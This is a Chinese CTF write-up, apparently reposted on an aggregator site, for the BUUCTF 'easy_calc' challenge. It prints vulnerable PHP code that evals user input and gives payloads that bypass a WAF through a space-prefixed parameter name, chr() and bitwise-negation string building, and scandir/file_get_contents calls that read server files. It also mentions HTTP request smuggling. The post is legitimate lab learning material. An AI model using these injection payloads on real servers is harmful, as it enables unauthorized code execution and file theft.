buu学习记录(下)(做题是不可能做题的)

Posted cioi

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了buu学习记录(下)(做题是不可能做题的)相关的知识,希望对你有一定的参考价值。

目录:

(1)easy_calc

 

 

题目解析:

easy_calc

涉及 知识点:

(1)php字符串解析特性绕过WAF

(2)HTTP请求走私攻击

  再贴一个学习链接

(3)取反操作

  ~%D1 == ‘.‘  (46+209=255)  ~$D0 == ‘/‘  (47+208=255)  

  其余ascii码类似。

解析:

进入题目的界面,审计js代码发现有calc.php,抱着好奇的态度进入查看。

发现源码。审计

<?php 
error_reporting(0); 
if(!isset($_GET[‘num‘])){ 
    show_source(__FILE__); 
}else{ 
        $str = $_GET[‘num‘]; 
        $blacklist = [‘ ‘, ‘	‘, ‘
‘, ‘
‘,‘‘‘, ‘"‘, ‘`‘, ‘[‘, ‘]‘,‘$‘,‘‘,‘^‘]; 
        foreach ($blacklist as $blackitem) { 
                if (preg_match(‘/‘ . $blackitem . ‘/m‘, $str)) { 
                        die("what are you want to do?"); 
                } 
        } 
        eval(‘echo ‘.$str.‘;‘); 
} 
?> 

本来以为过滤已经很明显了。但是其实还有坑,经过多次尝试之后发现num中不能存在字母。

技术图片

感觉像是前端的WAF。

方法一:php字符串解析特性绕过WAF。

上面的链接有详细的解释,我就提一下%20num也会被后端解析为num,但是前端解析不出来,所以可以绕过前端WAF。

尝试构造payload:?%20num=phpinfo()

成功,有phpinfo()回显

技术图片

 

还发现了system()被过滤了,没办法只能用php本身的文件读取函数了。

scandir()函数读取目录。file_get_contents()读取文件。

目标payload:? num=var_dump(scandir(‘.‘))

因为 单引号 被过滤,所以我们采用本身结果就是字符串的 chr()函数 或者 取反操作 来替换

构造payload1:? num=var_dump(scandir(chr(46)))

构造payload2:? num=var_dump(scandir(~%D1))

。。没有flag文件,去根目录下看看。(payload类似)

技术图片    (注意这是1,因为没看出来卡了好久...)

 

 那么读取这个文件应该就行了,payload依旧类似

payload1:? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

payload2:? num=var_dump(file_get_contents(~%D0%99%CE%9E%98%98))

成功获得flag

技术图片

 

 

方法二:HTTP请求走私攻击

老实说,这个方法我还是第一次见,最好去看大佬的解释吧。

我用自己的话解释一下巩固一遍(太菜了,见谅)

CL-CL协议可以,payload和方法一一样。

技术图片

 

以上是关于buu学习记录(下)(做题是不可能做题的)的主要内容,如果未能解决你的问题,请参考以下文章

noip做题记录+挑战一句话题解?

关于做题的一些反思

2020年3月第3周做题记录(力扣)

CQUOJ D. 会做题的兔兔

hdu2871线段树区间更新

行测图形题目的做题总结及方法